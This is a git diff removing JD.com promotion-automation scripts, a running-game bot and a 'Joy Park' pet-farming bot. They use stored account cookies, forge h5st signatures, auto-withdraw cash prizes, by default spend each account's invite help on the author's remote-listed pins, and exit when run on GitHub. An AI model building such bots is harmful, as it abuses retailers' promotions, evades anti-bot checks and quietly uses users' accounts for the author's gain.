member of res.data.members) { - if (member.captain) { - console.log('队长', member.nickName) - break - } - } - if (res.data.members.length === 6) { - console.log('队伍已满') - captainId = '' - } - } else { - o2s(res, '组队失败') - } - } else { - console.log('已组队', res.data.members.length, '人') - console.log('战队收益', res.data.teamSumPrize, '元') - } - - - h5stTool = new H5ST('b6ac3', 'jdltapp;', fp_b6ac3) - await h5stTool.__genAlgo() - res = await runningPageHome() - console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') - - let energy: number = res.data.runningHomeInfo.energy - console.log('💊 X', res.data.runningHomeInfo.energy, '个能量棒') - await wait(2000) - if (res.data.runningHomeInfo.nextRunningTime){ - console.log('⏳体力恢复中,还有', secondsToMinutes(res.data.runningHomeInfo.nextRunningTime / 1000)) - if (res.data.runningHomeInfo.nextRunningTime / 1000 < 300) { - await wait(res.data.runningHomeInfo.nextRunningTime) - res = await runningPageHome() - console.log('体力恢复完成,开始跑步....') - await wait(1000) - } else { - console.log('⏳等体力恢复在跑吧!'); - continue; - } - } else { - console.log('体力已恢复,开始跑步....') - } - - await startRunning(res, assets) - for (let i = 0; i < energy; i++) { - console.log('💉消耗能量棒跑步....') - res = await api('runningUseEnergyBar', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) - //console.log(res.errMsg) - res = await runningPageHome() - await startRunning(res, assets) - await wait(1000) - } - res = await runningPageHome() - console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') - await wait(2000) - } catch (e) { - console.log('Error', e) - await wait(3000) - } - } -})() - -async function startRunning(res: any, assets: number) { - if (!res.data.runningHomeInfo.nextRunningTime) { - console.log('终点目标', assets) - for (let i = 0; i < 5; i++) { - res = await api('runningOpenBox', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) - if (parseFloat(res.data.assets) >= assets) { - let assets: number = parseFloat(res.data.assets) - res = await api('runningPreserveAssets', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) - console.log('领取成功', assets) - break - } else { - if (res.data.doubleSuccess) { - console.log('翻倍成功', parseFloat(res.data.assets)) - await wait(10000) - } else if (!res.data.doubleSuccess && !res.data.runningHomeInfo.runningFinish) { - console.log('开始跑步', parseFloat(res.data.assets)) - await wait(10000) - } else { - console.log('翻倍失败') - break - } - } - } - } - await wait(3000) -} - -async function api(fn: string, body: object) { - let timestamp: number = Date.now(), h5st: string = '' - if (fn === 'runningOpenBox') { - h5st = h5stTool.__genH5st({ - appid: "activities_platform", - body: JSON.stringify(body), - client: "ios", - clientVersion: "3.1.0", - functionId: "runningOpenBox", - t: timestamp.toString() - }) - } - let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` - h5st && (params += `&h5st=${h5st}`) - return await post('https://api.m.jd.com/', params, { - 'authority': 'api.m.jd.com', - 'content-type': 'application/x-www-form-urlencoded', - 'cookie': cookie, - 'origin': 'https://h5platform.jd.com', - 'referer': 'https://h5platform.jd.com/', - 'user-agent': 'jdltapp;' - }) -} - -async function runningPageHome() { - return get(`https://api.m.jd.com/?functionId=runningPageHome&body=%7B%22linkId%22:%22L-sOanK_5RJCz7I314FpnQ%22,%22isFromJoyPark%22:true,%22joyLinkId%22:%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&t=${Date.now()}&appid=activities_platform&client=ios&clientVersion=3.1.0`, { - 'Host': 'api.m.jd.com', - 'Origin': 'https://h5platform.jd.com', - 'User-Agent': 'jdltapp;', - 'Referer': 'https://h5platform.jd.com/', - 'Cookie': cookie - }) -} - -async function team(fn: string, body: object) { - let timestamp: number = Date.now(), h5st: string - h5st = h5stTool.__genH5st({ - appid: "activities_platform", - body: JSON.stringify(body), - client: "ios", - clientVersion: "3.1.0", - functionId: fn, - t: timestamp.toString() - }) - return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { - 'Host': 'api.m.jd.com', - 'User-Agent': 'jdltapp;', - 'Origin': 'https://h5platform.jd.com', - 'X-Requested-With': 'com.jd.jdlite', - 'Referer': 'https://h5platform.jd.com/', - 'Cookie': cookie - }) -} - -// 秒转时分秒 -function secondsToMinutes(seconds: number) { - let minutes: number = Math.floor(seconds / 60) - let second: number = Math.floor(seconds % 60) - return `${minutes}分${second}秒` -} - -// 小数加法 -function add(num1: number, num2: number) { - let r1: number, r2: number - try { - r1 = num1.toString().split('.')[1].length - } catch (e) { - r1 = 0 - } - try { - r2 = num2.toString().split('.')[1].length - } catch (e) { - r2 = 0 - } - let m: number = Math.pow(10, Math.max(r1, r2)) - return (num1 * m + num2 * m) / m -} \ No newline at end of file diff --git a/jd_joy_park.js b/jd_joy_park.js deleted file mode 100644 index 8b20ee4b6..000000000 --- a/jd_joy_park.js +++ /dev/null @@ -1,610 +0,0 @@ -/* -ENV - -JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认开启) 0关闭 1开启 - -请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! - -脚本会默认帮zero205助力开工位,如需关闭请添加变量,变量名:HELP_JOYPARK,变量值:false - -更新地址:https://github.com/Tsukasa007/my_script - -============Quantumultx=============== -[task_local] -#汪汪乐园养joy -20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true - -================Loon============== -[Script] -cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy - -===============Surge================= -汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js - -============小火箭========= -汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true -*/ -const $ = new Env('汪汪乐园养joy'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let hot_flag = false -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -//最大化硬币收益模式 -$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' -$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认开启` : `关闭`} `) - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - $.user_agent = require('./USER_AGENTS').USER_AGENT - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { - console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - //$.wait(50) - // if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ - // console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); - // break - // } - hot_flag = false - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.maxJoyCount = 10 - await TotalBean(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if ($.isNode()) { - if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { - } else { - await getShareCode() - if ($.kgw_invitePin && $.kgw_invitePin.length) { - $.log("开始帮【zero205】助力开工位\n"); - $.kgw_invitePin = [...($.kgw_invitePin || [])][Math.floor((Math.random() * $.kgw_invitePin.length))]; - let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); - if (resp.helpState && resp.helpState === 1) { - $.log("帮【zero205】开工位成功,感谢!\n"); - } else if (resp.helpState && resp.helpState === 3) { - $.log("你不是新用户!跳过开工位助力\n"); - } else if (resp.helpState && resp.helpState === 2) { - $.log(`他的工位已全部开完啦!\n`); - } else { - $.log("开工位失败!\n"); - console.log(`${JSON.stringify(resp)}`) - } - } - } - } - //下地后还有有钱买Joy并且买了Joy - $.hasJoyCoin = true - await getJoyBaseInfo(undefined, undefined, undefined, true); - $.activityJoyList = [] - $.workJoyInfoList = [] - await getJoyList(true); - await getGameShopList() - //清理工位 - await doJoyMoveDownAll($.workJoyInfoList) - //从低合到高 - await doJoyMergeAll($.activityJoyList) - await getGameMyPrize() - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '', printLog = false) { - //await $.wait(20) - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getJoyBaseInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (printLog) { - $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); - if (data.data.level >= 30 && $.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->汪汪乐园`); - $.log(`\n开始解锁新场景...\n`); - await doJoyRestart() - } - } - $.joyBaseInfo = data.data - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve($.joyBaseInfo); - } - }) - }) -} - -function getJoyList(printLog = false) { - //await $.wait(20) - return new Promise(resolve => { - $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `joyList`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (printLog) { - $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) - $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") - for (let i = 0; i < data.data.activityJoyList.length; i++) { - //$.wait(50); - $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); - if (data.data.activityJoyList[i].level >= 30 && $.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请尽快前往活动查看领取\n活动入口:京东极速版APP->汪汪乐园\n更多脚本->"https://github.com/zero205/JD_tencent_scf"`); - $.log(`\n开始解锁新场景...\n`); - await doJoyRestart() - } - } - $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") - for (let i = 0; i < data.data.workJoyInfoList.length; i++) { - //$.wait(50) - $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) - } - $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) - } - $.activityJoyList = data.data.activityJoyList - $.workJoyInfoList = data.data.workJoyInfoList - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getGameShopList() { - //await $.wait(20) - return new Promise(resolve => { - $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `gameShopList`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - //排除不能购买的 - data = JSON.parse(data).data.filter(row => row.shopStatus === 1); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { - let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) - if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) { - let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) - let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) - $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) - await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) - await getJoyList() - await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) - } - else if ($.JOY_COIN_MAXIMIZE) { - await joyCoinMaximize(workJoyInfoUnlockList) - } - -} - -async function joyCoinMaximize(workJoyInfoUnlockList) { - if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { - $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); - let joyBaseInfo = await getJoyBaseInfo() - let joyCoin = joyBaseInfo.joyCoin - $.log(`还有${joyCoin}金币,看看还能买啥下地`) - let shopList = await getGameShopList() - let newBuyCount = false; - for (let i = shopList.length - 1; i >= 0 && i - 3 >= 0; i--) { //向下买3级 - if (joyCoin > shopList[i].consume) { - $.log(`买一只 ${shopList[i].userLevel}级的!`); - joyCoin = joyCoin - shopList[i].consume; - let buyResp = await doJoyBuy(shopList[i].userLevel); - if (!buyResp.success) { - break; - } else { - newBuyCount = true - $.hasJoyCoin = false - i++ - } - } - } - $.hasJoyCoin = false - if (newBuyCount) { - await getJoyList() - await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) - await getJoyBaseInfo(); - } - } -} - -async function doJoyMoveDownAll(workJoyInfoList) { - if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { - $.log(`工位清理完成!`) - return true - } - for (let i = 0; i < workJoyInfoList.length; i++) { - //$.wait(50) - if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { - $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) - await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) - } - } - //check - await getJoyList() - await doJoyMoveDownAll($.workJoyInfoList) -} - -async function doJoyMergeAll(activityJoyList) { - let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) - let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); - let joyBaseInfo = await getJoyBaseInfo() - let fastBuyLevel = joyBaseInfo.fastBuyLevel - if (joyMinLevelArr.length >= 2) { - $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,5秒后合成!如失败会重试】`); - await $.wait(5000) - await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); - if (hot_flag) { - return - } - await getJoyList() - await doJoyMergeAll($.activityJoyList) - } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { - let buyResp = await doJoyBuy(joyMinLevelArr[0].level, $.activityJoyList); - if (buyResp.success) { - await getJoyList(); - await doJoyMergeAll($.activityJoyList); - } else { - $.log("完成!") - await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) - } - } else { - $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) - $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) - let buyResp = await doJoyBuy(fastBuyLevel, $.activityJoyList); - if (buyResp.success) { - await getJoyList(); - await doJoyMergeAll($.activityJoyList); - } else { - $.log("完成!") - await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) - } - } -} - -function doJoyMove(joyId, location) { - //await $.wait(20) - return new Promise(resolve => { - $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMove`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (location !== 0) { - $.log(`下地完成了!`); - } - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function doJoyMerge(joyId1, joyId2) { - //await $.wait(20) - return new Promise(resolve => { - $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMergeGet`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - data = {} - } else { - data = JSON.parse(data); - $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) - // if (data.code == '1006') { - // hot_flag = true - // } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -async function doJoyBuy(level, activityJoyList) { - //await $.wait(20) - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBuy`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let codeMsg = '【不知道啥意思】' - switch (data.code) { - case 519: - codeMsg = '【没钱了】'; - break - case 518: - codeMsg = '【没空位】'; - if (activityJoyList) {//正常买模式 - $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); - let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) - await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); - } - break - case 0: - codeMsg = '【OK】'; - break - } - - $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doJoyRecovery(joyId) { - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRecovery`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - data = {} - } else { - data = JSON.parse(data); - $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doJoyRestart() { - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRestart`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.log(`新场景解锁 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getGameMyPrize() { - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `gameMyPrize`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.success && data.data) { - $.Vos = data.data.gamePrizeItemVos - for (let i = 0; i < $.Vos.length; i++) { - if ($.Vos[i].prizeType == 4 && $.Vos[i].status == 1 && $.Vos[i].prizeTypeVO.prizeUsed == 0) { - $.log(`\n当前账号有【${$.Vos[i].prizeName}】可提现`) - $.id = $.Vos[i].prizeTypeVO.id - $.poolBaseId = $.Vos[i].prizeTypeVO.poolBaseId - $.prizeGroupId = $.Vos[i].prizeTypeVO.prizeGroupId - $.prizeBaseId = $.Vos[i].prizeTypeVO.prizeBaseId - await apCashWithDraw($.id, $.poolBaseId, $.prizeGroupId, $.prizeBaseId) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"businessSource":"JOY_PARK","base":{"id":${id},"business":"joyPark","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":4},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=${+new Date()}&appid=activities_platform`, `apCashWithDraw`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.success && data.data) { - console.log(`提现结果:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getShareCode() { - return new Promise(resolve => { - $.get({ - url: "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/joypark.json", - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - $.kgw_invitePin = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostClientActionUrl(body, functionId) { - return { - url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, - body: body, - headers: { - 'User-Agent': $.user_agent, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Origin': 'https://joypark.jd.com', - 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', - 'Cookie': cookie, - } - } -} - -function taskGetClientActionUrl(body, functionId) { - return { - url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, - // body: body, - headers: { - 'User-Agent': $.user_agent, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Origin': 'https://joypark.jd.com', - 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', - 'Cookie': cookie, - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : 